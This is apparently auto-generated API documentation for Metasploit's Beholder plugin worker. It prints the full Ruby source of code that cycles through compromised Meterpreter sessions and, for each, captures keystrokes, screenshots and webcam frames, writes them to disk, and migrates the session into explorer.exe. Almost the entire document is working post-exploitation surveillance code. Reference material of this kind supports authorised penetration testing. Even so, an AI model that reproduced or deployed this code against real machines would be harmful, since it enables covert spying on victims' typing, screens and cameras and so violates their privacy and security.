Class: Msf::Plugin::Beholder::BeholderWorker

Inherits:
Object
  • Object
show all
Defined in:
plugins/beholder.rb

Overview

Worker Thread

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(framework, config, driver) ⇒ BeholderWorker

Returns a new instance of BeholderWorker.


18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# File 'plugins/beholder.rb', line 18

def initialize(framework, config, driver)
  self.state     = { }
  self.framework = framework
  self.config    = config
  self.driver    = driver
  self.thread    = framework.threads.spawn('BeholderWorker', false) {
    begin
      self.start
    rescue ::Exception => e
      $stderr.puts "BeholderWorker: #{e.class} #{e.to_s} #{e.backtrace}"
    end

    # Mark this worker as dead
    self.thread = nil
  }
end

Instance Attribute Details

#configObject

Returns the value of attribute config


15
16
17
# File 'plugins/beholder.rb', line 15

def config
  @config
end

#driverObject

Returns the value of attribute driver


15
16
17
# File 'plugins/beholder.rb', line 15

def driver
  @driver
end

#frameworkObject

Returns the value of attribute framework


15
16
17
# File 'plugins/beholder.rb', line 15

def framework
  @framework
end

#stateObject

Returns the value of attribute state


16
17
18
# File 'plugins/beholder.rb', line 16

def state
  @state
end

#threadObject

Returns the value of attribute thread


15
16
17
# File 'plugins/beholder.rb', line 15

def thread
  @thread
end

Instance Method Details

#cache_sysinfo(sid) ⇒ Object


156
157
158
159
160
# File 'plugins/beholder.rb', line 156

def cache_sysinfo(sid)
  return if self.state[sid][:sysinfo]
  self.state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo
  self.state[sid][:name] = "#{sid}_" + (self.state[sid][:sysinfo]['Computer'] || "Unknown").gsub(/[^A-Za-z0-9\.\_\-]/, '')
end

#capture_filename(sid) ⇒ Object


96
97
98
# File 'plugins/beholder.rb', line 96

def capture_filename(sid)
  self.state[sid][:name] + "_" + Time.now.strftime("%Y%m%d-%H%M%S")
end

#collect_keystrokes(sid) ⇒ Object

TODO: Stop the keystroke scanner when the plugin exits


120
121
122
123
124
125
126
127
128
129
130
131
132
# File 'plugins/beholder.rb', line 120

def collect_keystrokes(sid)
  return unless self.config[:keystrokes]
  sess = framework.sessions[sid]
  unless self.state[sid][:keyscan]
    # Consume any error (happens if the keystroke thread is already active)
    sess.ui.keyscan_start rescue nil
    self.state[sid][:keyscan] = true
    return
  end

  collected_keys = sess.ui.keyscan_dump
  store_keystrokes(sid, collected_keys)
end

#collect_screenshot(sid) ⇒ Object

TODO: Specify image quality


136
137
138
139
140
141
# File 'plugins/beholder.rb', line 136

def collect_screenshot(sid)
  return unless self.config[:screenshot]
  sess = framework.sessions[sid]
  collected_image = sess.ui.screenshot(50)
  store_screenshot(sid, collected_image)
end

#collect_webcam(sid) ⇒ Object

TODO: Specify webcam index and frame quality


144
145
146
147
148
149
150
151
152
153
154
# File 'plugins/beholder.rb', line 144

def collect_webcam(sid)
  return unless self.config[:webcam]
  sess = framework.sessions[sid]
  begin
    sess.webcam.webcam_start(1)
    collected_image = sess.webcam.webcam_get_frame(100)
    store_webcam(sid, collected_image)
  ensure
    sess.webcam.webcam_stop
  end
end

#compatible?(sid) ⇒ Boolean

Only support sessions that have core.migrate()

Returns:

  • (Boolean)

197
198
199
200
# File 'plugins/beholder.rb', line 197

def compatible?(sid)
  framework.sessions[sid].respond_to?(:core) &&
  framework.sessions[sid].core.respond_to?(:migrate)
end

#process(sid) ⇒ Object


70
71
72
73
74
75
76
77
78
79
80
# File 'plugins/beholder.rb', line 70

def process(sid)
  self.state[sid] ||= {}
  store_session_info(sid)
  return unless compatible?(sid)
  return if stale_session?(sid)
  verify_migration(sid)
  cache_sysinfo(sid)
  collect_keystrokes(sid)
  collect_screenshot(sid)
  collect_webcam(sid)
end

#session_log(sid, msg) ⇒ Object


82
83
84
85
86
# File 'plugins/beholder.rb', line 82

def session_log(sid, msg)
  ::File.open(::File.join(self.config[:base], "session.log"), "a") do |fd|
    fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{self.state[sid][:info]}] #{msg}"
  end
end

#stale_session?(sid) ⇒ Boolean

Skip sessions with ancient last checkin times

Returns:

  • (Boolean)

203
204
205
206
207
208
209
210
211
212
# File 'plugins/beholder.rb', line 203

def stale_session?(sid)
  return unless framework.sessions[sid].respond_to?(:last_checkin)
  session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i
  # TODO: Make the max age configurable, for now 5 minutes seems reasonable
  if session_age > 300
    session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago")
    return true
  end
  return
end

#startObject


41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# File 'plugins/beholder.rb', line 41

def start
  self.driver.print_status("Beholder is logging to #{self.config[:base]}")
  bool_options = [ :screenshot, :webcam, :keystrokes, :automigrate ]
  bool_options.each do |o|
    self.config[o] = !!( self.config[o].to_s =~ /^[yt1]/i)
  end

  int_options = [ :idle, :freq ]
  int_options.each do |o|
    self.config[o] = self.config[o].to_i
  end

  ::FileUtils.mkdir_p(self.config[:base])

  loop do
    framework.sessions.keys.each do |sid|
      begin
        if self.state[sid].nil? ||
          (self.state[sid][:last_update] + self.config[:freq] < Time.now.to_f)
          process(sid)
        end
      rescue ::Exception => e
        session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}")
      end
    end
    sleep(1)
  end
end

#stopObject


35
36
37
38
39
# File 'plugins/beholder.rb', line 35

def stop
  return unless self.thread
  self.thread.kill rescue nil
  self.thread = nil
end

#store_keystrokes(sid, data) ⇒ Object


100
101
102
103
104
105
# File 'plugins/beholder.rb', line 100

def store_keystrokes(sid, data)
  return unless data.length > 0
  filename = capture_filename(sid) + "_keystrokes.txt"
  ::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) }
  session_log(sid, "captured keystrokes to #{filename}")
end

#store_screenshot(sid, data) ⇒ Object


107
108
109
110
111
# File 'plugins/beholder.rb', line 107

def store_screenshot(sid, data)
  filename = capture_filename(sid) + "_screenshot.jpg"
  ::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) }
  session_log(sid, "captured screenshot to #{filename}")
end

#store_session_info(sid) ⇒ Object


88
89
90
91
92
93
94
# File 'plugins/beholder.rb', line 88

def store_session_info(sid)
  self.state[sid][:last_update] = Time.now.to_f
  return if self.state[sid][:initialized]
  self.state[sid][:info] = framework.sessions[sid].info
  session_log(sid, "registered")
  self.state[sid][:initialized] = true
end

#store_webcam(sid, data) ⇒ Object


113
114
115
116
117
# File 'plugins/beholder.rb', line 113

def store_webcam(sid, data)
  filename = capture_filename(sid) + "_webcam.jpg"
  ::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) }
  session_log(sid, "captured webcam snap to #{filename}")
end

#verify_migration(sid) ⇒ Object


162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# File 'plugins/beholder.rb', line 162

def verify_migration(sid)
  return unless self.config[:automigrate]
  return if self.state[sid][:migrated]
  sess = framework.sessions[sid]

  # Are we in an explorer process already?
  pid = sess.sys.process.getpid
  session_log(sid, "has process ID #{pid}")
  ps = sess.sys.process.get_processes
  this_ps = ps.select{|x| x['pid'] == pid }.first

  # Already in explorer? Mark the session and move on
  if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe'
    session_log(sid, "is already in explorer.exe")
    self.state[sid][:migrated] = true
    return
  end

  # Attempt to migrate, but flag that we tried either way
  self.state[sid][:migrated] = true

  # Grab the first explorer.exe process we find that we have rights to
  target_ps = ps.select{|x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first
  unless target_ps
    # No explorer.exe process?
    session_log(sid, "no explorer.exe process found for automigrate")
    return
  end

  # Attempt to migrate to the target pid
  session_log(sid, "attempting to migrate to #{target_ps.inspect}")
  sess.core.migrate(target_ps['pid'])
end